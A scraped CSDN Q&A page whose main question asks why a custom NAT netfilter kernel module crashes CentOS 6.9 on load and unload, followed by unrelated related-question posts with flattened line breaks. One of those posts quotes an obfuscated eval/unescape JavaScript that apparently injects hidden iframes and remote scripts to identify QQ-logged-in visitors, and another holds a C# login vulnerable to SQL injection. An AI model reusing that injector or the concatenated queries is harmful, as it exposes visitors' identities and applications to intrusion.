在centos6.9上注册自己开发的netfilter内核模块 系统重启,有大神帮看下?

自己写的一个NAT功能,挂载pre routing 和 post routing两个钩子函数。但是insmod 模块后,系统直接重启。我尝试注掉钩子函数内部的内容后,不重启了,但是rmmod时 又重启。说明可能是挂载有问题, 但是找不到问题出在哪。

{
        nfhk_serv_in.hook = nf_hook_proc_in;
        nfhk_serv_in.pf = PF_INET;
        nfhk_serv_in.hooknum = NF_INET_PRE_ROUTING;
        nfhk_serv_in.priority = NF_BR_PRI_FIRST;
        //ret = nf_register_hook(&nfhk_serv_in);
        if (ret != 0)
            return ret;

        nfhk_serv_out.hook = nf_hook_proc_out;
        nfhk_serv_out.pf = PF_INET;
        nfhk_serv_out.hooknum = NF_INET_POST_ROUTING;
        nfhk_serv_out.priority = NF_BR_PRI_FIRST;
        ret = nf_register_hook(&nfhk_serv_out);
        if (ret != 0)
            return ret;
    }

Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
请教!netfilter内核模块编程问题
#include rn#include rn#include rn#include rn#include rn#include rn#include rn#include rn#include rn#include rnrnstatic unsigned int aaa_account_infos_intercept(unsigned int hooknum,rnstruct sk_buff ** pskb,rnconst struct net_device *in,rnconst struct net_device *out,rnint (*okfn) (struct sk_buff *))rnrnstruct in6_addr *srcaddr, *dstaddr;rnstruct sk_buff *skb = *pskb;rnrnif(skb)rnstruct ipv6hdr *hdr = skb->nh.ipv6h;rnrnsrcaddr = &hdr->saddr;rndstaddr = &hdr->daddr;rnprintk("Packet for source address: %x:%x:%x:%x:%x:%x:%x:%x\ndestination address: %x:%x:%x:%x:%x:%x:%x:%x\n",rnNIPV6ADDR(srcaddr),NIPV6ADDR(dstaddr)) ;rnreturn NF_ACCEPT;rnrnrnrnstruct nf_hook_ops aaa_account_infos_ops = rnNULL,NULL,rnaaa_account_infos_intercept,rnPF_INET6,rnNF_IP6_FORWARD,rnNF_IP6_PRI_FILTER+2rn;rnrnint __init mipv6_aaa_init(void) rnnf_register_hook(&aaa_account_infos_ops);rnreturn 0;rnrnmodule_init(mipv6_aaa_init);rn程序编译出问题:rnmake -C /usr/src/kernels/2.6.18-8.el5-i686 SUBDIRS=/root/ntfilter modulesrnmake[1]: Entering directory `/usr/src/kernels/2.6.18-8.el5-i686'rn CC [M] /root/ntfilter/ipv6.orn/root/ntfilter/ipv6.c: 在函数 ‘aaa_account_infos_intercept’ 中:rn/root/ntfilter/ipv6.c:27: 错误:隐式声明函数 ‘NIPV6ADDR’rn/root/ntfilter/ipv6.c:27: 警告:格式字符串实参太少rn/root/ntfilter/ipv6.c: 在顶层:rn/root/ntfilter/ipv6.c:35: 警告:初始化时将整数赋给指针,未作类型转换rnmake[2]: *** [/root/ntfilter/ipv6.o] 错误 1rnmake[1]: *** [_module_/root/ntfilter] 错误 2rnmake[1]: Leaving directory `/usr/src/kernels/2.6.18-8.el5-i686'rnmake: *** [default] 错误 2rnrn是什么原因呢?隐式声明函数 ‘NIPV6ADDR’rn我刚刚接触netfilter
来大神帮看下
package org.easyworld.function.user.userIndex.action;rnrnimport java.util.List;rnimport java.util.Map;rnimport org.easyworld.function.user.userIndex.service.UserIndexService;rnrnpublic class MyThread extends Thread rn rn private UserIndexService userIndexService;rn rn public UserIndexService getUserIndexService() rn return userIndexService;rn rn public void setUserIndexService(UserIndexService userIndexService) rn this.userIndexService = userIndexService;rn rn public void run()rn rn while(!this.isInterrupted())rn tryrn Thread.sleep(30000);rn catch(InterruptedException e)rn e.printStackTrace(); rn rn //此处空指针rn Map map = userIndexService.checkGoods();rn //如果单独输出aaa 则是正常的rn //System.out.println("aaa");rn rn rn rnrnrnrnService 里面rnpublic Map checkGoods()rn Map map = new HashMap();rn List> list = queryForList("userIndex.check_goods");rn map.put("list", list);rn return map;rn rnrn异常rnException in thread "Thread-4" java.lang.NullPointerExceptionrn at org.easyworld.function.user.userIndex.action.MyThread.run(MyThread.java:26)rnrnrn 求大神帮看看出错的地方在哪 可能是Spring的注入有问题,但是同一个包下别的类中 注入是正常的rn
ipset如何与netfilter内核模块进行通信
最近需要使用ipset,iptables,和netfilter,所以把三者的源代码看大概阅读了一遍。 前面我们学习过应用层ipset和netfilter模块之间通信是采用的netlink套接字 用户空间的ipset命令通过 libipset.so 这个库和内核通讯 一、ipset主流程 下面是我总结的主流程   二、用户层如何将创建set的名称和类型传递到内核层的 我们都知道ip...
服务器异常重启,请高手帮看下。
近期公司服务器总是异常几个小时重启,检查后发现计划任务里有几千个不明任务项,我删除后,更新杀毒软件和防火墙,还是这样。看时间日志有大量不明的登陆,估计是不是和这个有关rn[img=https://img-bbs.csdn.net/upload/201409/03/1409704677_433816.jpg][/img]rnrn请各位高手给个意见建议。谢谢!
内核模块的开发
1.内核模块的三大要素 1.1头文件 和(和模块相关的) 1.2加载模块函数module_init():在insmod模块是会调用这个函数 ps它的返回值为0,如果返回非零值,就会认为出错 1.3卸载模块函数module_exit();同上 而在模块程序编写中不使用printf而使用printk。例printk(KERN_WARNING”Hello World\n”) 2.Ma
帮看下哪里有问题。。。
rn在歌星大奖赛中,有10个评委为参赛的选手打分,分数为1到100分。选手最后得分为:去掉一个最高分和一个最低分后其余8个分数的平均值。请编写一个程序实现。rnrnrnrn#include "stdio.h"rnvoid main ()rnrn int i=1;rn float max=1,min=100,x,sum;rn printf("输入十个1-100的数:");rn while (i<10)rn rn scanf("%f",&x);rn if (x>max)rn rn max=x;rn rn else if (x
有个错误,帮看下
org.apache.jasper.JasperException: /userLogin.jsp(2,4) Invalid directivern org.apache.jasper.compiler.DefaultErrorHandler.jspError(DefaultErrorHandler.java:39)rn org.apache.jasper.compiler.ErrorDispatcher.dispatch(ErrorDispatcher.java:409)rn org.apache.jasper.compiler.ErrorDispatcher.jspError(ErrorDispatcher.java:90)rn org.apache.jasper.compiler.Parser.parseDirective(Parser.java:506)rn org.apache.jasper.compiler.Parser.parseElements(Parser.java:1539)rn org.apache.jasper.compiler.Parser.parse(Parser.java:126)rn org.apache.jasper.compiler.ParserController.doParse(ParserController.java:220)rn org.apache.jasper.compiler.ParserController.parse(ParserController.java:101)rn org.apache.jasper.compiler.Compiler.generateJava(Compiler.java:203)rn org.apache.jasper.compiler.Compiler.compile(Compiler.java:495)rn org.apache.jasper.compiler.Compiler.compile(Compiler.java:476)rn org.apache.jasper.compiler.Compiler.compile(Compiler.java:464)rn org.apache.jasper.JspCompilationContext.compile(JspCompilationContext.java:511)rn org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:295)rn org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:292)rn org.apache.jasper.servlet.JspServlet.service(JspServlet.java:236)rn javax.servlet.http.HttpServlet.service(HttpServlet.java:802)rnrn
求助,大神帮看下这段有什么语法问题
SELECTrn c5t.MODEL,rn c5t.FACTORY,rn cbt.*, cct. NAME categoryname,rn COUNT(1) AS numrnFROMrn ci_host_t c5t,rn ci_base_t cbt,rn ci_category_t cctrnWHERErn c5t.ci_id = cbt.IDrnAND cct.ID = cbt.CATEGORYIDrnAND cct.`CODE` IN (rn 'HOST',rn 'PCSERVER',rn 'MINICOMPUTER',rn 'WORKSTATION',rn 'BLADESERVER'rn)rnGROUP BYrn c5t.MODEL,rn c5t.FACTORY,rn cbt.*, cct. NAME categorynamernrnrn总是提示语法有错误,找不出来啊..
大神们,帮看下这个查询SQL语句有什么问题。
rn前两个参数没有问题,可是最后一个参数怎么也得不到数据。 rn就是[code=C#]sb.Append(" and student.StudentName like '%@studentName%'");[/code]不知有什么问题?rnrn谢谢各位大神了!!!rnrn[code=C#]rnpublic List SearchStudentResultByGradeIdAndSubjectIdAndStudentName(string gradeId, string subjectId, string studentName)rn rn StringBuilder sb = new StringBuilder();rn sb.Append("select result.StudentNo,result.SubjectNo,Result.studentResult,ExamDate from "rn +"Result join subject on result.SubjectNo=Subject.SubjectNo join Student on "rn +"Result.StudentNo=Student.StudentNo where 1=1");rn if (gradeId != "-1")rn rn sb.Append(" and Subject.GradeId=@gradeId");rn rn if (subjectId != "-1")rn rn sb.Append(" and Subject.SubjectNo=@subjectId");rn rn if (studentName != "")rn rn sb.Append(" and student.StudentName like '%@studentName%'");rn rnrn SqlParameter[] para = new SqlParameter[]rn rn new SqlParameter("@gradeId",gradeId),rn new SqlParameter("@subjectId",subjectId),rn new SqlParameter("@studentName",studentName)rn ;rn[/code]
帮看下代码有什么问题
[code=C#]rnprotected void Button1_Click(object sender, EventArgs e)rn rn sqlcon = new SqlConnection(Constr);rn sqlcon.Open();rn string sql = "select * from _User where ID='" + TextBox1.Text.Trim() + "'";rn SqlCommand cmd = new SqlCommand(sql, sqlcon);rn cmd.CommandText = sql;rnrn string sql1 = "select * from _User where Password='" + TextBox2.Text.Trim() + "'";rn SqlCommand cmd1 = new SqlCommand(sql1, sqlcon);rn cmd1.CommandText = sql1;rnrn if(_ID.Text.Trim()==" ") //如果没有输入直接也可以登录,不明白为什么会这样rn rn _ID.Visible = true;rn _ID.Text = "请输入用户名!";rn rn else if (_password.Text=="")rn rn _password.Visible = true;rn _password.Text = "请输入密码!";rn rn else if (null == cmd.ExecuteScalar())rn rn _ID.Visible = true;rn _ID.Text = "用户名不存在!";rn rn else if (null == cmd1.ExecuteScalar())rn rn _password.Visible = true;rn _password.Text = "密码不正确!";rn rn elsern rn Session["ID"] = TextBox1.Text;rn Page.Response.Redirect("mainpage.aspx");rn rn sqlcon.Close();rn rn[/code]
存储过程 错误 大神们 帮小弟看下
create proc proc_managerrn@tablename varchar,rn@strWhere varchar,rn@count int outputrnasrnbegin rndeclare @strSql nvarchar(1000)rnset @strSql='select @count=count(1) from '+@tablename+' where '+@strWherernendrnexec sp_executesql @strSql,N'@count int output',@count outputrnrnrndeclare @sum intrnexec proc_manager 'ask','id>0',@sum outputrnprint @sumrnrn错误:rn消息 4145,级别 15,状态 1,第 1 行rn在应使用条件的上下文(在 'i' 附近)中指定了非布尔类型的表达式。
求大神帮看下代码有神马问题~~!!~~
[code=csharp]rn private void ttt_Click(object sender, EventArgs e)rn rn LoadMessageBox loadMessage = new LoadMessageBox("提示", "Loading");rn count = txtBoxTest.Text.Length;rn BackgroundWorker worker12 = new BackgroundWorker();rn worker12.WorkerSupportsCancellation = true;rn worker12.DoWork += new DoWorkEventHandler(worker12_DoWork);rn worker12.RunWorkerCompleted += new RunWorkerCompletedEventHandler(worker12_RunWorkerCompleted);rn worker12.RunWorkerCompleted+=new RunWorkerCompletedEventHandler(loadMessage.OnProcessCompleted);rn worker12.RunWorkerAsync();rn loadMessage.ShowDialog(this);rn rnrn int count = 0;rn void worker12_RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e)rn rn if (e.Cancelled)rn rn txtBoxResult.Text = count.ToString();rn rn elsern rn txtBoxResult.Text = count.ToString();rn rn rnrn void worker12_DoWork(object sender, DoWorkEventArgs e)rn rn Thread.Sleep(10*1000);rn if (count > 2)rn rn rn elsern rn ExMessageBox.Show("错误", "Error", MessageType.Error); ;rn rn count = count + 10;rnrn rn[/code]rn在文本框txtBoxTest输入一个字符,点击按钮ttt后,会偶尔出现不能弹出ExMessageBox导致进度框loadmessage无法关闭从而程序假死rnPS:ExMessageBox和LoadMessageBox都是自定义的窗体,分别为信息提示框和进度框
大神帮看下这算是什么
看了别人的一段SCRIPT 里面有很多奇怪的字符 这是什么加密方式吗?怎么解读?rnrn[code=javascript]rn/*PLZWy6xhl*/var/*HZCNWuFsx1*/SIeiL3F/*cryWL0xQk2*/=/*dCVjbRtwjL*/\u0075\u006e\u0065\u0073\u0063\u0061\u0070\u0065;/*VGzuVTY8z3d*/var/*KwktZDBr*/JMnqVf9uv/*m3VNWTL*/=/*HPkm85q1up*/\u0065\u0076\u0061\u006c;/*nYYbuc*/JMnqVf9uv/*hWJZF114ckN*/(SIeiL3F/*hWJZF114ckN*/("eval/*vcMwiyQj*/%28/*A06epe*/function/*k7YA5Cd*/%28/*XgrIDTAroR*/p%2Ca%2Cc%2Ck%2Ce%2Cd%29%7Be%3Dfunction/*eB03HZGPULI*/%28/*qDsguQ*/c%29%7Breturn/*kx5WbIBSH*/%28/*WTmkNQ9s*/c%3Ca%3F%27%27%3Ae/*Uw6aos*/%28/*FbqLshouW*/parseInt/*I5rfG9FjsN*/%28/*U6BHO5Err*/c%2Fa%29%29%29%2B/*vNhspX*/%28/*gOGsk*//*aYy475rDN*/%28/*O6SWxABR*/c%3Dc%25a%29%3E35%3FString.fromCharCode/*AGKnr*/%28/*o3vhgI*/c%2B29%29%3Ac.toString/*E5imsfhQBA*/%28/*RVrRTDFS*/36%29%29%7D%3Bif/*oBaQA5IzLsY*/%28/*dAU1EM*/%21%27%27.replace/*ohUefQj3Ax*/%28/*n05OPCI6e*/%2F%5E%2F%2CString%29%29%7Bwhile/*Y16jzrp4JHC*/%28/*JCHTDz*/c--%29%7Bd%5Be/*yjoReBpmMHu*/%28/*JmX6yMGL*/c%29%5D%3Dk%5Bc%5D%7C%7Ce/*BY5JhH2*/%28/*hc44Yj9QZo*/c%29%7Dk%3D%5Bfunction/*hAgU3thZb*/%28/*g0hvDrsBaf*/e%29%7Breturn%20d%5Be%5D%7D%5D%3Be%3Dfunction/*KcSSv*/%28/*jOfJ4ckp*/%29%7Breturn%27%5C%5Cw%2B%27%7D%3Bc%3D1%7D%3Bwhile/*xsYKaQh8rdF*/%28/*tMZk3hAz*/c--%29%7Bif/*MioaosetXV4*/%28/*h2nxGD7*/k%5Bc%5D%29%7Bp%3Dp.replace/*G5L0Qchbzk*/%28/*xbljTpyg8sO*/new%20RegExp/*M2tShpnZUf*/%28/*EQMM7HKsA*/%27%5C%5Cb%27%2Be/*jL70i1b*/%28/*I5KAEigpZuJ*/c%29%2B%27%5C%5Cb%27%2C%27g%27%29%2Ck%5Bc%5D%29%7D%7Dreturn%20p%7D/*v1A3A*/%28/*IAMYURnzN*/%27Q/*USYy4Jo*/%28/*YuwUsYlR*/2u/*ujEh4pQIQ*/%28/*thJmlH5DkcK*/%22Q%252v%252t%252s%252p%25M%252q%252r%2529%252w%251d%254%2529%25y%254%252x%253F%2527%2527%252G%252H%254%252E%2529%2529%2529%252B%2528%254%252D%252y%2529%252z%252A.2o%254%252n%2529%252c.2d%252b%2529%2529%251%252a%2528%2521%2527%2527.I%2528%252F%2523%252F%2524%2529%2529%2525%254--%2529%252e%2515%254%2529%25l%25C%25z%25l%253%252f%254%2529%252l%253D%252m%251f%2529%25y%252k%2515%25l%251%25l%252j%251d%2528%2529%25y%2527%250%252g%252B%2527%251%252h%252i%251%252I%254--%2529%252J%2537%25z%25l%2529%25v%2538.I%2536%2535%2528%2527%250%25K%2527%2532%254%2529%252B%2527%250%25K%2527%252C%2533%2527%2529%25M%25z%25l%2529%251%2534%25W%251%2528%2539%253a%25j.u%2528%250%25B%250%2527%2529.x%25r%2529%252%25O%25j.E%25G%25P%252%253g%253D%250%2527%250%2527%252%253h%25o%252%253f%25o%252%253e%25o%252%253b%253D%250%2527%250%2527%252%253c%25j.E%25G%25P%252%253d%25j.u%2528%250%25B%250%2527%2529.x%25r%2529%252%25O%253D%2521%25J.1j%252%2531%2530%2526%2526%25J.1l%252%252P%25A%252%252Q%25A%252%252O%25A%252N%25W%252K%252L%252M%2520%2529%252S%252Y%25j.S%2528%252Z%2522%2529%25k.1c%253D%252X%252W%2522%25i%252T%253D%253D%250%2527%250%2527%2529%25a.h%253D%252U-8%2522%25e%25a.h%252V%253i.R%251T%25k.s%25t%2528%2529%257%25L%2529%256%25L%25m%2529%251%251%25i%251h%2529%25a.f%25t%2528%2529%257%25n.c%2529%257%25n.c%253D%253D%2510%2522%253%2513.c%253D%253D%2512%2522%2529%25a.f%255%25k.g%255%25i%259%2529%256%259%25m%2529%251%251%25e%25a.f%255%25k.g%255%25i%259%2529%256%259%25m%2529%251%251%251%25e%25a.g%25t%2528%2529%257%25n.c%2529%257%25n.c%253D%253D%2510%2522%253%2513.c%253D%253D%2512%2522%2529%25a.f%255%25k.g%255%25i%259%2529%256%259%25m%2529%251%251%25e%25a.f%255%25k.g%255%25i%259%2529%256%259%25m%2529%251%251%251%251m.u%2528%250%25B%250%2527%2529.x%25r%2529.X%25n%2529%25d%251p%2528%2529%25v%2528%2517%253A%252F%251o.F.D%251i%251r%251s%25o%251g%251Z%251R%251Q%2522%2529%25d%251P%25T%2529%251N%257%25T.1q%2521%251O%2529%256%251S%251v%2529%25e%256%25U%2514%2529%251%251Y%251f%2529%256%25U%2514%2529%251%25d%251X%2528%2529%25v%2528%251W.q%251U%253D%2522%251V.1u%2528%2529%251M%252C%250%2527%250%2527%251L%2529%25d%251D%2528%2529%251A%25w%25d%251z%2528%2529%251w%25w%25N.s%251x%251E%2528%2517%253A%252F%251F.18.F.D%252F%251K%251J%251I%253D%2522%25p%252B%2522%251G%25o.1a%2522%253j%252C%250%2527%250%2527%252R%2529%25d%253P%2528%2529%257%255b%2529%255f%25w%25N.s%255%252%2511%2550.1y%252%2511%25C.1t%2528%254T-Z.q%2522%252C%254J-Z.q%2522%2529%252%255j%25j.S%2528%255h%2522%2529%25b.R%25C%252B%2522%2558%253D%2522%25p%252B%2522%2557%253D%2522%25p%25b.1B%253D%25Y%2522%25b.1C%253D%25Y%2522%25b.V.1n%253D%251e%2522%25b.V.19%253D%251e%2522%25b.1b%253D%254P%2522%25b.16%2528%250%254U%250%2527%252C%250%254L%250%2527%25H%2529%254S.1k.X%254V%2529%25e%254W%2528%2529%251%25d%254Z%2528%2529%257%2528%254Y%2529%254X%2528%2529%251%254Q%2528%2529%253B%2527%254I%254H%252C%2527%254G%254F%254K%254O%254N%254M%2551%253%255e%253%255k%255g%255i%253%255d%255c%2555%2554%2553%2552%2556%255a%2559%254R%254D%253N%253O%254E%253%253M%253L%253I%253J%253K%253Q%253R%253X%253%253Y%253Z%253W%253V%253S%253T%253U%253H%253G%253p%253q%253r%253o%253n%253k%253l%253%253m%253s%253t%253z%253C%253E%253%253y%253x%253u%253v%253w%2540%2541%254r%254s%254t%254q%254p%254m%254n%254o%254u%254v%254B%254C%254A%254z%254w%254x%254y%254l%254k%2547%2548%2549%2546%2545%2542%2543%2544%254a%254b%254h%254i%254j%254g%254f%254c%2527.4d%2528%2527%253%2527%2529%25H%252C%254e%251%2529%2529%251H%22%29%29%27%2C62%2C331%2C%275C%7C7D%7C3B2%7C7C%7C28c%7C3D7%7C7B9%7C7B3%7C%7C286%7C7B1%7C3B5%7C%7C7D4%7C7Dd%7C%7C%7C%7C3B3%7C3Db%7C3B1%7C5D%7C2C10%7C281%7C3D0%7C2Bl%7C%7C280%7C%7C3D4%7C%7C7Bp%7C3Di%7C%7C7Breturn%7C5Bc%7C3Dj%7C27A%7C3Dk%7C%7C%7C%7C3Fi%7C2C0%7Creplace%7C21m%7C5Cb%7C28y%7C2Ck%7C3Bm%7C20w%7C3Aj%7Ceval%7C%7C%7C28a%7C28o%7C%7C20p%7C%7C22U%7C%7C22K%7C20k%7C22H%7C7C1%7C2CL%7C5Be%7C%7C22P%7C%7C%7C%7C%7C%7C3Dfunction%7C22Y%7C28e%7C261F%7C28O%7C2FI%7C%7C%7C%7C7Db%7C%7C2F1E%7C20o%7C%7C2F0%7C3F1D%7C%7C%7C2C1p%7C7BM%7C3DG%7C%7C20N%7C7Br%7C%7C%7C20G%7C3Bp%7C2F1o%7C26t%7C0A%7C261z%7C3DI%7C3F1e%7C2Cn%7C2CN%7C7B1r%7C3D8%7C20J%7C3D1x%7C261G%7C28n%7C3DB%7C3Ft%7C2B1v%7C221w%7C20n%7C7D1s%7C3DJ%7C2Cy%7C%7C%7C5E%7C2CString%7C7Bwhile%7C%7C%7C%7C%7C3Bif%7C2836%7C3Ac%7CtoString%7C7Bd%7C7Ce%7C5Cw%7C3Bc%7C3D1%7C3Be%7C20d%7C7Dk%7C5Bfunction%7C2B29%7CfromCharCode%7C2Cc%7C2Ce%7C2Cd%7C2Ca%7C28p%7Cunescape%7C28function%7C7Be%7C3Ca%7C25a%7C3E35%7C3FString%7C%7C%7C3Dc%7C2Fa%7C%7C3Ae%7C28parseInt%7C3Bwhile%7C7Bif%7C28B%7C2C6%7C2Ch%7C3B4%7C20M%7C20r%7C20v%7C2CW%7C7B2%7C28h%7C2213%7C3Dh%7C2F14%7C2215%7C201%7C221d%7C3Dw%7C201m%7C2Be%7C27g%7C7Dreturn%7C20RegExp%7C28new%7C28k%7C3Dp%7C272%7C201h%7C20Q%7C20O%7C201i%7C20l%7C201f%7C2011%7C201g%7C7D1%7C2Cz%7C7Csrc%7C7CcreateElement%7C7CQQfangke_iframe_two%7C7Cxx2%7C7Chttp%7C7Caaadddd%7C7Cabcc_diy%7C7Cie%7C7Cstyle%7C7Cxxxxb%7C7Cutf%7C7Cjavascript%7C7Ctext%7C7Cframeborder%7C7Cxx1%7C7CappendChild%7C%7C%7C7C0px%7C%7C7Ccensus%7C%7C7C5000%7C7Cloaded%7C7CisIE%7C7Citem%7C7Conerr%7C7Caaadddb%7C7CgetElementsByTagName%7C7Cphp%7C7Caaaddda%7C20z%7C7Cxxxxa%7C7CHEAD%7C7Ccomplete%7C7Cuser%7C7CcheckLoginCB%7C7Cwindowerror%7C7Cqq%7C7Cjsurl%7C7Ccom%7C7Call%7C7CsetAttribute%7C7Cno%7C7C_H%7C7C1389324243585%7C7Chref%7C7CMath%7C7Crandom%7C7Ctry%7C7Ccatch%7C7Creplace%7C7Cuid%7C7Clocation%7C7C_%7Csplit%7C7B%7C7Ccallback%7C7Ccoral%7C7Cid%7C7Cname%7C7Csource%7C7CerrCode%7C7C100%7C7Cscript%7C7Cumod%7C7Cxx4%7C7Ctype%7C7Cscrolling%7C7Cdata%7C7Cheight%7C7C6422199569642544%7C7Cxx3%7C7CxHead%7C7CisIE6%7C7Cwidth%7C7Capp%7C7CXMLHttpRequest%7C7Cbody%7C7CoHead%7C7CActiveXObject%7C7CloadJS%7C7Conerror%7C7Cvar%7C7CxScript%7C2C105%7C2C62%7C22C%7C7Cif%7C270%7C7Consuccess%7C7Ciframe%7C7Cfunction%7C2217%7C7Do%7C7CfangkenoLogin%7C3Bb%7C22T%7C2712%7C285%7C7Bn%7C7Bz%7C21v%7C20W%7C3D1A%7C7Cnull%7C7Cxurl%7C7Cfalse%7C7Ctrue%7C7Ccharset%7C7Cxx0%7C26Q%7C2611%7C7Cabcc%7C7Cwindow%7C28r%7C7Conload%7C7Conreadystatechange%7C7CsetTimeout%7C7Bv%7C7CreadyState%7C225%7C7Celse%7C205%7C7Cdocument%27.split/*Xu3ELOQPUQ*/%28/*NBQLStv*/%27%7C%27%29%2C0%2C%7B%7D%29%29%0A"/*mXhQduaJ7*/)/*Cd5aBEA04UA*//*mXhQduaJ7*/)/*Cd5aBEA04UA*//*aB3hMzdGauc*/rnrnrn[/code]
求助求助大神帮看下错误信息
严重: StandardWrapper.Throwablernjava.lang.NoSuchMethodError: org.springframework.aop.scope.ScopedProxyUtils.isScopedTarget(Ljava/lang/String;)Zrn at org.springframework.context.event.EventListenerMethodProcessor.afterSingletonsInstantiated(EventListenerMethodProcessor.java:79)rn at org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingletons(DefaultListableBeanFactory.java:796)rn at org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization(AbstractApplicationContext.java:861)rn at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:541)rn at org.springframework.web.servlet.FrameworkServlet.configureAndRefreshWebApplicationContext(FrameworkServlet.java:651)rn at org.springframework.web.servlet.FrameworkServlet.createWebApplicationContext(FrameworkServlet.java:602)rn at org.springframework.web.servlet.FrameworkServlet.createWebApplicationContext(FrameworkServlet.java:665)rn at org.springframework.web.servlet.FrameworkServlet.initWebApplicationContext(FrameworkServlet.java:521)rn at org.springframework.web.servlet.FrameworkServlet.initServletBean(FrameworkServlet.java:462)rn at org.springframework.web.servlet.HttpServletBean.init(HttpServletBean.java:136)rn at javax.servlet.GenericServlet.init(GenericServlet.java:158)rn at org.apache.catalina.core.StandardWrapper.initServlet(StandardWrapper.java:1282)rn at org.apache.catalina.core.StandardWrapper.loadServlet(StandardWrapper.java:1195)rn at org.apache.catalina.core.StandardWrapper.load(StandardWrapper.java:1085)rn at org.apache.catalina.core.StandardContext.loadOnStartup(StandardContext.java:5349)rn at org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5641)rn at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:147)rn at org.apache.catalina.core.StandardContext.reload(StandardContext.java:4119)rn at org.apache.catalina.startup.HostConfig.reload(HostConfig.java:1539)rn at org.apache.catalina.startup.HostConfig.checkResources(HostConfig.java:1512)rn at org.apache.catalina.startup.HostConfig.check(HostConfig.java:1748)rn at org.apache.catalina.startup.HostConfig.lifecycleEvent(HostConfig.java:333)rn at org.apache.catalina.util.LifecycleSupport.fireLifecycleEvent(LifecycleSupport.java:117)rn at org.apache.catalina.util.LifecycleBase.fireLifecycleEvent(LifecycleBase.java:90)rn at org.apache.catalina.core.ContainerBase.backgroundProcess(ContainerBase.java:1370)rn at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.processChildren(ContainerBase.java:1542)rn at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.processChildren(ContainerBase.java:1552)rn at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1520)rn at java.lang.Thread.run(Thread.java:745)
求大神帮做看下这题
Java如题 4.编写Shape抽象类,包含计算图形的表面积和体积的两个方法。定义Circle类求圆柱体的表面积和体积,Rectangle类求矩形体的表面积和体积,在测试类Test里创建对象并输出结果。 ...
哪位大神帮看下这个错误。。。
30-Mar-2017 18:14:17.450 警告 [RMI TCP Connection(3)-127.0.0.1] org.springframework.web.context.support.XmlWebApplicationContext.refresh Exception encountered during context initialization - cancelling refresh attempt: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'sqlSessionFactory' defined in file [D:\File\Project\hgyxgs\zjb\zjb-web\target\zjb-web\WEB-INF\classes\META-INF\spring-mybatis.xml]: Initialization of bean failed; nested exception is java.lang.reflect.MalformedParameterizedTypeExceptionrn30-Mar-2017 18:14:17.453 严重 [RMI TCP Connection(3)-127.0.0.1] org.springframework.web.context.ContextLoader.initWebApplicationContext Context initialization failedrn org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'sqlSessionFactory' defined in file [D:\File\Project\hgyxgs\zjb\zjb-web\target\zjb-web\WEB-INF\classes\META-INF\spring-mybatis.xml]: Initialization of bean failed; nested exception is java.lang.reflect.MalformedParameterizedTypeExceptionrn at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:564)rn at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:483)rn at org.springframework.beans.factory.support.AbstractBeanFactory$1.getObject(AbstractBeanFactory.java:306)rn at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:230)rn at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:302)rn at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:197)rn at org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingletons(DefaultListableBeanFactory.java:742)rn at org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization(AbstractApplicationContext.java:866)rn at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:542)rn at org.springframework.web.context.ContextLoader.configureAndRefreshWebApplicationContext(ContextLoader.java:443)rn at org.springframework.web.context.ContextLoader.initWebApplicationContext(ContextLoader.java:325)rn at org.springframework.web.context.ContextLoaderListener.contextInitialized(ContextLoaderListener.java:107)rn at org.apache.catalina.core.StandardContext.listenerStart(StandardContext.java:4754)rn at org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5216)rn at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150)rn at org.apache.catalina.core.ContainerBase.addChildInternal(ContainerBase.java:752)rn at org.apache.catalina.core.ContainerBase.addChild(ContainerBase.java:728)rn at org.apache.catalina.core.StandardHost.addChild(StandardHost.java:734)rn at org.apache.catalina.startup.HostConfig.manageApp(HostConfig.java:1702)rn at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)rn at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)rn at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)rn at java.lang.reflect.Method.invoke(Method.java:497)rn at org.apache.tomcat.util.modeler.BaseModelMBean.invoke(BaseModelMBean.java:300)rn at com.sun.jmx.interceptor.DefaultMBeanServerInterceptor.invoke(DefaultMBeanServerInterceptor.java:819)rn at com.sun.jmx.mbeanserver.JmxMBeanServer.invoke(JmxMBeanServer.java:801)rn at org.apache.catalina.mbeans.MBeanFactory.createStandardContext(MBeanFactory.java:482)rn at org.apache.catalina.mbeans.MBeanFactory.createStandardContext(MBeanFactory.java:431)rn at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)rn at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)rn at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)rn at java.lang.reflect.Method.invoke(Method.java:497)rn at org.apache.tomcat.util.modeler.BaseModelMBean.invoke(BaseModelMBean.java:300)rn at com.sun.jmx.interceptor.DefaultMBeanServerInterceptor.invoke(DefaultMBeanServerInterceptor.java:819)rn at 